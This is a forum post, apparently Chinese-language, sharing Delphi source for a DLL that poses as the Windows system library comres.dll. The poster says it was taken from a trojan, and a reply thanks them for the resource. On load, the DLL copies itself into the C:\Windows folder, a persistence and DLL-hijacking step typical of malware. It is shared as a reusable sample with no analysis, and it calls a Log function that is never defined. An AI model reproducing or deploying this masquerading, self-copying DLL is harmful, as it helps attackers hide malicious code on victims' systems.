library Comres;

heiye88

library Comres;
{$IMAGEBASE  $77020000}
Uses
  Windows,SysUtils;
  {某马里看到的 懒的说自己看吧}


Function COMResModuleInstance:DWORD;Stdcall;
Begin
  Result:=HInstance;
End;

Procedure DLLEntryPoint(dwReason : DWord);
Var
  DllName:Array[0..MAX_PATH] of Char;
Begin
  Case dwReason of
    DLL_PROCESS_ATTACH:
    Begin
      If Not FileExists('C:\Windows\Comres.dll') Then
      Begin
        GetModuleFileName(HInstance,DllName,MAX_PATH);
        CopyFile(DllName,'C:\Windows\Comres.dll',False);
      End;
      Log('111111');
      DisableThreadLibraryCalls(HInstance);
    End;
    DLL_PROCESS_DETACH:  ;
    DLL_THREAD_ATTACH:   ;
    DLL_THREAD_DETACH:   ;
  End;
End;

Exports
  COMResModuleInstance;


Begin
  DllProc := @DLLEntryPoint;
  DLLEntryPoint(DLL_PROCESS_ATTACH);
End.

xz63128558

多谢楼主分享，好资源。。